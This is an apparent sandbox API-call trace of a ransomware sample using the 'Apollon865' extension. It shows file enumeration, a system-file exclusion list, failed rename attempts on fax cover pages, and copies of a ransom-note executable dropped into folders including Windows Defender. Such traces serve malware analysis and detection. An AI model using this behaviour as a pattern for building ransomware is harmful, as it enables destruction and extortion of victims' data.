	[0079.145] lstrcmpiW (lpString1="cov", lpString2="dad") returned -1
	[0079.145] lstrlenW (lpString="dadiagrams") returned 10
	[0079.145] lstrlenW (lpString="daschema") returned 8
	[0079.145] lstrlenW (lpString="db-journal") returned 10
	[0079.145] lstrlenW (lpString="db-shm") returned 6
	[0079.145] lstrcmpiW (lpString1="yi.cov", lpString2="db-shm") returned 1
	[0079.145] lstrlenW (lpString="db-wal") returned 6
	[0079.145] lstrcmpiW (lpString1="yi.cov", lpString2="db-wal") returned 1
	[0079.145] lstrlenW (lpString="dbc") returned 3
	[0079.145] lstrcmpiW (lpString1="cov", lpString2="dbc") returned -1
	[0079.145] lstrlenW (lpString="dbs") returned 3
	[0079.145] lstrcmpiW (lpString1="cov", lpString2="dbs") returned -1
	[0079.145] lstrlenW (lpString="dbt") returned 3
	[0079.145] lstrcmpiW (lpString1="cov", lpString2="dbt") returned -1
	[0079.146] lstrlenW (lpString="dbv") returned 3
	[0079.146] lstrcmpiW (lpString1="cov", lpString2="dbv") returned -1
	[0079.146] lstrlenW (lpString="dbx") returned 3
	[0079.146] lstrcmpiW (lpString1="cov", lpString2="dbx") returned -1
	[0079.146] lstrlenW (lpString="dcb") returned 3
	[0079.146] lstrcmpiW (lpString1="cov", lpString2="dcb") returned -1
	[0079.146] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\fyi.cov.Apollon865") returned 88
	[0079.146] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\fyi.cov" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\common coverpages\\en-us\\fyi.cov"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\fyi.cov.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\common coverpages\\en-us\\fyi.cov.apollon865"), dwFlags=0x1) returned 0
	[0079.146] GetLastError () returned 0x5
	[0079.146] wsprintfA (in: param_1=0x119d7a8, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\fyi.cov MoveFileEx error 5\r\n") returned 106
	[0079.146] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\fyi.cov MoveFileEx error 5\r\n") returned 106
	[0079.146] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0079.146] SetFilePointer (in: hFile=0x15c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x460c
	[0079.146] WriteFile (in: hFile=0x15c, lpBuffer=0x119d7a8*, nNumberOfBytesToWrite=0x6a, lpNumberOfBytesWritten=0x119d374, lpOverlapped=0x0 | out: lpBuffer=0x119d7a8*, lpNumberOfBytesWritten=0x119d374*=0x6a, lpOverlapped=0x0) returned 1
	[0079.147] CloseHandle (hObject=0x15c) returned 1
	[0079.147] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0079.147] CloseHandle (hObject=0x0) returned 0
	[0079.147] CloseHandle (hObject=0x0) returned 0
	[0079.147] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3aa0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="generic.cov", cAlternateFileName="")) returned 1
	[0079.147] lstrcmpiW (lpString1="generic.cov", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.147] lstrcmpiW (lpString1="generic.cov", lpString2="Apollon865.txt.exe") returned 1
	[0079.147] lstrcmpiW (lpString1="generic.cov", lpString2=".") returned 1
	[0079.147] lstrcmpiW (lpString1="generic.cov", lpString2="..") returned 1
	[0079.147] lstrcmpiW (lpString1="generic.cov", lpString2="windows") returned -1
	[0079.147] lstrcmpiW (lpString1="generic.cov", lpString2="bootmgr") returned 1
	[0079.147] lstrcmpiW (lpString1="generic.cov", lpString2="temp") returned -1
	[0079.147] lstrcmpiW (lpString1="generic.cov", lpString2="pagefile.sys") returned -1
	[0079.147] lstrcmpiW (lpString1="generic.cov", lpString2="boot") returned 1
	[0079.147] lstrcmpiW (lpString1="generic.cov", lpString2="ids.txt") returned -1
	[0079.147] lstrcmpiW (lpString1="generic.cov", lpString2="ntuser.dat") returned -1
	[0079.147] lstrcmpiW (lpString1="generic.cov", lpString2="perflogs") returned -1
	[0079.147] lstrcmpiW (lpString1="generic.cov", lpString2="MSBuild") returned -1
	[0079.147] lstrlenW (lpString="generic.cov") returned 11
	[0079.147] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\fyi.cov") returned 77
	[0079.147] lstrcpyW (in: lpString1=0x119e694, lpString2="generic.cov" | out: lpString1="generic.cov") returned="generic.cov"
	[0079.147] lstrlenW (lpString="generic.cov") returned 11
	[0079.147] lstrlenW (lpString="Apollon865") returned 10
	[0079.147] lstrcmpiW (lpString1="eneric.cov", lpString2="Apollon865") returned 1
	[0079.147] lstrlenW (lpString=".dll") returned 4
	[0079.147] lstrcmpiW (lpString1="generic.cov", lpString2=".dll") returned 1
	[0079.148] lstrlenW (lpString=".lnk") returned 4
	[0079.148] lstrcmpiW (lpString1="generic.cov", lpString2=".lnk") returned 1
	[0079.148] lstrlenW (lpString=".ini") returned 4
	[0079.148] lstrcmpiW (lpString1="generic.cov", lpString2=".ini") returned 1
	[0079.148] lstrlenW (lpString=".sys") returned 4
	[0079.148] lstrcmpiW (lpString1="generic.cov", lpString2=".sys") returned 1
	[0079.148] lstrlenW (lpString="generic.cov") returned 11
	[0079.148] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\generic.cov.Apollon865") returned 92
	[0079.148] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\generic.cov" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\common coverpages\\en-us\\generic.cov"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\generic.cov.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\common coverpages\\en-us\\generic.cov.apollon865"), dwFlags=0x1) returned 0
	[0079.148] GetLastError () returned 0x5
	[0079.148] wsprintfA (in: param_1=0x119d7a8, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\generic.cov MoveFileEx error 5\r\n") returned 110
	[0079.148] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\generic.cov MoveFileEx error 5\r\n") returned 110
	[0079.148] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0079.148] SetFilePointer (in: hFile=0x15c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x4676
	[0079.148] WriteFile (in: hFile=0x15c, lpBuffer=0x119d7a8*, nNumberOfBytesToWrite=0x6e, lpNumberOfBytesWritten=0x119d374, lpOverlapped=0x0 | out: lpBuffer=0x119d7a8*, lpNumberOfBytesWritten=0x119d374*=0x6e, lpOverlapped=0x0) returned 1
	[0079.149] CloseHandle (hObject=0x15c) returned 1
	[0079.149] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0079.149] CloseHandle (hObject=0x0) returned 0
	[0079.149] CloseHandle (hObject=0x0) returned 0
	[0079.149] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f801b90, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f801b90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0079.149] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0079.149] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2886, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="urgent.cov", cAlternateFileName="")) returned 1
	[0079.149] lstrcmpiW (lpString1="urgent.cov", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0079.149] lstrcmpiW (lpString1="urgent.cov", lpString2="Apollon865.txt.exe") returned 1
	[0079.149] lstrcmpiW (lpString1="urgent.cov", lpString2=".") returned 1
	[0079.149] lstrcmpiW (lpString1="urgent.cov", lpString2="..") returned 1
	[0079.149] lstrcmpiW (lpString1="urgent.cov", lpString2="windows") returned -1
	[0079.149] lstrcmpiW (lpString1="urgent.cov", lpString2="bootmgr") returned 1
	[0079.149] lstrcmpiW (lpString1="urgent.cov", lpString2="temp") returned 1
	[0079.149] lstrcmpiW (lpString1="urgent.cov", lpString2="pagefile.sys") returned 1
	[0079.149] lstrcmpiW (lpString1="urgent.cov", lpString2="boot") returned 1
	[0079.149] lstrcmpiW (lpString1="urgent.cov", lpString2="ids.txt") returned 1
	[0079.149] lstrcmpiW (lpString1="urgent.cov", lpString2="ntuser.dat") returned 1
	[0079.149] lstrcmpiW (lpString1="urgent.cov", lpString2="perflogs") returned 1
	[0079.149] lstrcmpiW (lpString1="urgent.cov", lpString2="MSBuild") returned 1
	[0079.149] lstrlenW (lpString="urgent.cov") returned 10
	[0079.149] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\generic.cov") returned 81
	[0079.149] lstrcpyW (in: lpString1=0x119e694, lpString2="urgent.cov" | out: lpString1="urgent.cov") returned="urgent.cov"
	[0079.149] lstrlenW (lpString="urgent.cov") returned 10
	[0079.149] lstrlenW (lpString="Apollon865") returned 10
	[0079.149] lstrlenW (lpString=".dll") returned 4
	[0079.149] lstrcmpiW (lpString1="urgent.cov", lpString2=".dll") returned 1
	[0079.150] lstrlenW (lpString=".lnk") returned 4
	[0079.150] lstrcmpiW (lpString1="urgent.cov", lpString2=".lnk") returned 1
	[0079.150] lstrlenW (lpString=".ini") returned 4
	[0079.150] lstrcmpiW (lpString1="urgent.cov", lpString2=".ini") returned 1
	[0079.150] lstrlenW (lpString=".sys") returned 4
	[0079.150] lstrcmpiW (lpString1="urgent.cov", lpString2=".sys") returned 1
	[0079.150] lstrlenW (lpString="urgent.cov") returned 10
	[0079.150] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\urgent.cov.Apollon865") returned 91
	[0079.150] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\urgent.cov" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\common coverpages\\en-us\\urgent.cov"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\urgent.cov.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\common coverpages\\en-us\\urgent.cov.apollon865"), dwFlags=0x1) returned 0
	[0079.150] GetLastError () returned 0x5
	[0079.150] wsprintfA (in: param_1=0x119d7a8, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\urgent.cov MoveFileEx error 5\r\n") returned 109
	[0079.150] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\urgent.cov MoveFileEx error 5\r\n") returned 109
	[0079.150] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0079.150] SetFilePointer (in: hFile=0x15c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x46e4
	[0079.150] WriteFile (in: hFile=0x15c, lpBuffer=0x119d7a8*, nNumberOfBytesToWrite=0x6d, lpNumberOfBytesWritten=0x119d374, lpOverlapped=0x0 | out: lpBuffer=0x119d7a8*, lpNumberOfBytesWritten=0x119d374*=0x6d, lpOverlapped=0x0) returned 1
	[0079.151] CloseHandle (hObject=0x15c) returned 1
	[0079.151] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0079.151] CloseHandle (hObject=0x0) returned 0
	[0079.151] CloseHandle (hObject=0x0) returned 0
	[0079.151] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2886, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="urgent.cov", cAlternateFileName="")) returned 0
	[0079.151] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0079.151] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b78d0
	[0079.151] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\ActivityLog", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\ActivityLog") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\ActivityLog"
	[0079.151] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5916c0 | out: hHeap=0x580000) returned 1
	[0079.151] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b78c8 | out: hHeap=0x580000) returned 1
	[0079.151] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\ActivityLog") returned 57
	[0079.151] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\ActivityLog" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\ActivityLog") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\ActivityLog"
	[0079.151] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0079.151] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\ActivityLog\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\activitylog\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0079.152] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0079.152] GetLastError () returned 0x0
	[0079.152] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0079.152] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0079.152] CloseHandle (hObject=0x10c) returned 1
	[0079.152] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0079.152] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0079.152] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\ActivityLog\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f801b90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f801b90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0079.152] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.152] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0079.152] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0079.152] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f801b90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f801b90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.153] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.153] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0079.153] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0079.153] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0079.153] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f801b90, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f801b90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0079.153] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0079.153] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f801b90, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f801b90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0079.153] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0079.153] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fc10
	[0079.153] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\Windows Defender", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender"
	[0079.153] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c55f8 | out: hHeap=0x580000) returned 1
	[0079.153] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc08 | out: hHeap=0x580000) returned 1
	[0079.153] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows Defender") returned 45
	[0079.153] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Windows Defender" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender"
	[0079.153] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0079.153] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0079.154] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0079.154] GetLastError () returned 0x0
	[0079.154] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0079.154] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0079.154] CloseHandle (hObject=0x10c) returned 1
	[0079.154] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0079.154] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0079.154] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f801b90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f801b90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0079.154] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.154] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0079.154] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0079.154] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f801b90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f801b90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.154] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.154] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0079.154] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0079.154] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0079.154] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f89a110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f89a110, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Definition Updates", cAlternateFileName="DEFINI~1")) returned 1
	[0079.154] lstrcmpiW (lpString1="Definition Updates", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.155] lstrcmpiW (lpString1="Definition Updates", lpString2="Apollon865.txt.exe") returned 1
	[0079.155] lstrcmpiW (lpString1="Definition Updates", lpString2=".") returned 1
	[0079.155] lstrcmpiW (lpString1="Definition Updates", lpString2="..") returned 1
	[0079.155] lstrcmpiW (lpString1="Definition Updates", lpString2="windows") returned -1
	[0079.155] lstrcmpiW (lpString1="Definition Updates", lpString2="bootmgr") returned 1
	[0079.155] lstrcmpiW (lpString1="Definition Updates", lpString2="temp") returned -1
	[0079.155] lstrcmpiW (lpString1="Definition Updates", lpString2="pagefile.sys") returned -1
	[0079.155] lstrcmpiW (lpString1="Definition Updates", lpString2="boot") returned 1
	[0079.155] lstrcmpiW (lpString1="Definition Updates", lpString2="ids.txt") returned -1
	[0079.155] lstrcmpiW (lpString1="Definition Updates", lpString2="ntuser.dat") returned -1
	[0079.155] lstrcmpiW (lpString1="Definition Updates", lpString2="perflogs") returned -1
	[0079.155] lstrcmpiW (lpString1="Definition Updates", lpString2="MSBuild") returned -1
	[0079.155] lstrlenW (lpString="Definition Updates") returned 18
	[0079.155] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows Defender\\*") returned 47
	[0079.155] lstrcpyW (in: lpString1=0x119e664, lpString2="Definition Updates" | out: lpString1="Definition Updates") returned="Definition Updates"
	[0079.155] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc08
	[0079.155] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x82) returned 0x5b8f28
	[0079.155] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fc10 | out: ListHead=0x5b75f0, ListEntry=0x59fc10) returned 0x5b7ab0
